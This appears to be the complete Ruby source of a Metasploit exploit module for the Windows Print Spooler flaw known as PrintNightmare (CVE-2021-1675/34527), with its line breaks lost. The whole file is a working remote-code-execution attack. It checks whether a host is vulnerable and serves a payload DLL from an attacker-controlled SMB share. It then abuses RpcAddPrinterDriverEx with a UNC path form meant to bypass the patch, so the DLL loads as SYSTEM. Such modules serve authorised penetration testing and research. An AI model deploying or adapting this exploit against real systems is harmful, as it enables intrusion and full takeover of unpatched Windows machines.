Print Spooler Remote DLL Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'windows_error'require 'ruby_smb'require 'ruby_smb/error'class MetasploitModule < Msf::Exploit::Remote  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::DCERPC  include Msf::Exploit::Remote::SMB::Client::Authenticated  include Msf::Exploit::Remote::SMB::Server::Share  include Msf::Exploit::Retry  include Msf::Exploit::EXE  include Msf::Exploit::Deprecated  moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'  PrintSystem = RubySMB::Dcerpc::PrintSystem  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Print Spooler Remote DLL Injection',        'Description' => %q{          The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted          DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN          vector which requires the Print Spooler service to be running.        },        'Author' => [          'Zhiniang Peng',           # vulnerability discovery / research          'Xuefeng Li',              # vulnerability discovery / research          'Zhipeng Huo',             # vulnerability discovery          'Piotr Madej',             # vulnerability discovery          'Zhang Yunhai',            # vulnerability discovery          'cube0x0',                 # PoC          'Spencer McIntyre',        # metasploit module          'Christophe De La Fuente', # metasploit module co-author        ],        'License' => MSF_LICENSE,        'DefaultOptions' => {          'SRVHOST' => Rex::Socket.source_address        },        'Stance' => Msf::Exploit::Stance::Aggressive,        'Targets' => [          [            'Windows', {              'Platform' => 'win',              'Arch' => [ ARCH_X64, ARCH_X86 ]            },          ],        ],        'DisclosureDate' => '2021-06-08',        'References' => [          ['CVE', '2021-1675'],          ['CVE', '2021-34527'],          ['URL', 'https://github.com/cube0x0/CVE-2021-1675'],          ['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],          ['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],          ['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']        ],        'Notes' => {          'AKA' => [ 'PrintNightmare' ],          'Stability' => [CRASH_SERVICE_DOWN],          'Reliability' => [UNRELIABLE_SESSION],          'SideEffects' => [            ARTIFACTS_ON_DISK # the dll will be copied to the remote server          ]        }      )    )    register_advanced_options(      [        OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])      ]    )    deregister_options('AutoCheck')  end  def check    begin      connect(backend: :ruby_smb)    rescue Rex::ConnectionError      return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')    end    begin      smb_login    rescue Rex::Proto::SMB::Exceptions::LoginError      return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')    end    begin      dcerpc_bind_spoolss    rescue RubySMB::Error::UnexpectedStatusCode => e      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first      if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND        print_error("The 'Print Spooler' service is disabled.")      end      return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")    end    @target_arch = dcerpc_getarch    # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43    if @target_arch == ARCH_X64      @environment = 'Windows x64'    elsif @target_arch == ARCH_X86      @environment = 'Windows NT x86'    else      return Exploit::CheckCode::Detected('Successfully bound to the remote service.')    end    print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")    print_status('Enumerating the installed printer drivers...')    drivers = enum_printer_drivers(@environment)    @driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"    vprint_status("Using driver path: #{@driver_path}")    print_status('Retrieving the path of the printer driver directory...')    @config_directory = get_printer_driver_directory(@environment)    vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?    container = driver_container(      p_config_file: 'C:\\Windows\\System32\\kernel32.dll',      p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"    )    case add_printer_driver_ex(container)    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')    when ::WindowsError::Win32::ERROR_BAD_NET_NAME      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')    when ::WindowsError::Win32::ERROR_ACCESS_DENIED      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')    end    Exploit::CheckCode::Detected('Successfully bound to the remote service.')  end  def run    fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?    super  end  def setup    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')    end    super  end  def start_service    file_name << '.dll'    self.file_contents = generate_payload_dll    super  end  def primer    dll_path = unc    if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/      # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass      # otherwise the operation will fail with ERROR_INVALID_PARAMETER      dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"    end    vprint_status("Using DLL path: #{dll_path}")    filename = dll_path.rpartition('\\').last    container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)    3.times do      add_printer_driver_ex(container)    end    1.upto(3) do |directory|      container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")      break if add_printer_driver_ex(container).nil?    end    cleanup_service  end  def driver_container(**kwargs)    PrintSystem::DriverContainer.new(      level: 2,      tag: 2,      driver_info: PrintSystem::DriverInfo2.new(        c_version: 3,        p_name_ref_id: 0x00020000,        p_environment_ref_id: 0x00020004,        p_driver_path_ref_id: 0x00020008,        p_data_file_ref_id: 0x0002000c,        p_config_file_ref_id: 0x00020010,        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913        p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",        p_environment: @environment,        p_driver_path: @driver_path,        **kwargs      )    )  end  def dcerpc_bind_spoolss    handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])    vprint_status("Binding to #{handle} ...")    dcerpc_bind(handle)    vprint_status("Bound to #{handle} ...")  end  def enum_printer_drivers(environment)    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)    fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length    DriverInfo2.read(response.p_drivers.map(&:chr).join)  end  def get_printer_driver_directory(environment)    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)    fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length    RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')  end  def add_printer_driver_ex(container)    flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES    begin      response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)    rescue RubySMB::Error::UnexpectedStatusCode => e      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first      message = "Error #{nt_status.name} (#{nt_status.description})"      if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN        # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected        print_status('The named pipe connection was broken, reconnecting...')        reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do          dcerpc_bind_spoolss        rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e          false        else          true        end        unless reconnected          vprint_status('Failed to reconnect to the named pipe.')          return nil        end        print_status('Successfully reconnected to the named pipe.')        retry      else        print_error(message)      end      return nt_status    end    error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first    message = "RpcAddPrinterDriverEx response #{response.error_status}"    message << " #{error.name} (#{error.description})" unless error.nil?    vprint_status(message)    error  end  def rprn_call(name, **kwargs)    request = PrintSystem.const_get("#{name}Request").new(**kwargs)    begin      raw_response = dcerpc.call(request.opnum, request.to_binary_s)    rescue Rex::Proto::DCERPC::Exceptions::Fault => e      fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")    end    PrintSystem.const_get("#{name}Response").read(raw_response)  end  class DriverInfo2Header < BinData::Record    endian :little    uint32     :c_version    uint32     :name_offset    uint32     :environment_offset    uint32     :driver_path_offset    uint32     :data_file_offset    uint32     :config_file_offset  end  # this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2  # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030  DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do    def self.read(data)      header = DriverInfo2Header.read(data)      new(        header,        RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),        RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),        RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),        RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),        RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')      )    end  endend